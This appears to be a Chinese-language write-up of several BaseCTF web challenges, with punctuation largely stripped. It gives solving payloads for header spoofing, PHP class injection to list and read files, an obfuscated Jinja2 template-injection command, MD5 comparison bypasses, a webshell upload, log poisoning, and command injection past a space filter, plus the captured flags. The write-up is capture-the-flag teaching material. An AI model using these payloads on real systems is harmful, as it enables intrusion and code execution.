看看你的HTTP用BP来做题目要修改GETPOSTipcookie代理和RefererGET?basectfwe1c%2500me%00会被认为是NULL所以用%25替代%POSTBaseflgcookie c00k13i cant eat itipX-forwarded-For127.0.0.1代理BaseRefererBase全改后得到一串base64编码的字符串解码得flagBaseCTF{8ae983ac-a00a-44cf-bd7e-ca4fc5e1ccea}flag直接读取不就行了这段 PHP 代码是一个典型的 反序列化 / 对象注入 题目结合了 PHP 对象遍历 与 构造函数触发利用。$Keng 是 GET 参数可以控制类名$Wang 是 GET 参数作为构造函数的参数常见可遍历的类DirectoryIterator遍历目录GlobIteratorFilesystemIteratorArrayObject所以payloadGET为?KDirectoryIteratorWsecret$J1ng 是 POST 参数控制类名$Hong 是 POST 参数传给构造函数SplFileObject读取文件GlobIterator输出文件列表所以payloadPOST为 JSplFileObjectHsecret/flag.txt此时访问/secret/f11444g.php得到flagBaseCTF{31f98d30-acec-421e-af41-34c8bbc47751}复读机用fenjing就可以了payloadBasectf{}{%set gl_~_~globals~_~_%}{%set bu_~_~builtins~_~_%}{%set im_~_~import~_~_%}{%set vsOS|lower%}{%set ca%c%c%c%c%c%c%c%(99,97,116,32,47,102,42)%}{%print g[pop][gl][bu][im](vs)[popen](ca)[read]()%}flagBaseCTF{e1b3fbaa-af9e-4420-b5d8-ad541b1cfa5f}md5绕过欸先来点小知识0e开头的md5和原值QNKCDZO0e8304004519934940580242199033912406107080e462097431906509019562988736854s878926199a0e545993274517709034328855841020s155964671a0e342768416822451524974117254469s214587387a0e848240448830537924465865611904当要md5比较时弱比较只需要0e开头就可以了因为md5弱比较时识别到e就会停止于是导致0e开头的字符串可以以此绕过但md5不是弱比较时一般用数组来绕过因为数组计算md5会返回NULL从而绕过本题是一强一弱第一层绕过了第二层不行要用数组得到flagBaseCTF{3e62d40d-f829-48a8-a94f-da0f99197439}upload上传一句话木马上传成功到传上去的位置看看/uploads/a.php得到flag BaseCTF{675ecf28-5df6-4186-a9e8-45c58d5ac9e6}滤个不停前面正常但是发现源码中不太一样竟然是要包括[s, e, v, a, n, x, r, o]这几个字符再结合include()这个函数应该是找文件但是我们不知道有什么文件于是尝试查看日志access.logpayload:incompetentHelloWorldDatch/var/log/nginx/access.log无flag但是已经注入过了所以用powershell执行$body { incompetent HelloWorld Datch /var/log/nginx/access.log } $response Invoke-WebRequest -Uri http://challenge.imxbt.cn:32532/ -Method POST -Body $body $response.Content看看回显的contentflag为BaseCTF{46d31e59-a879-412f-9bff-c8f31dd15406}你听不到我的声音shell_exec(),这个函数执行命令但不把结果显示出来所以要重定向文件把结果写入其他文件再读取payloadcmdcat /flag flag.txt 再访问/flag.txt出现flag。BaseCTF{c038d9f1-0976-4aaf-8561-c3a56cd7b282}RCEisamazingwithspace?phphighlight_file(__FILE__);$cmd $_POST[cmd];// check if space is present in the command// use of preg_match to check if space is present in the commandif (preg_match(/\s/, $cmd)) {echo Space not allowed in command;exit;}// execute the commandsystem($cmd);空格被过滤了payloadcmdcat$IFS/flag得到flagBaseCTF{dcb80de1-e154-4096-87e3-869f85fcaaea}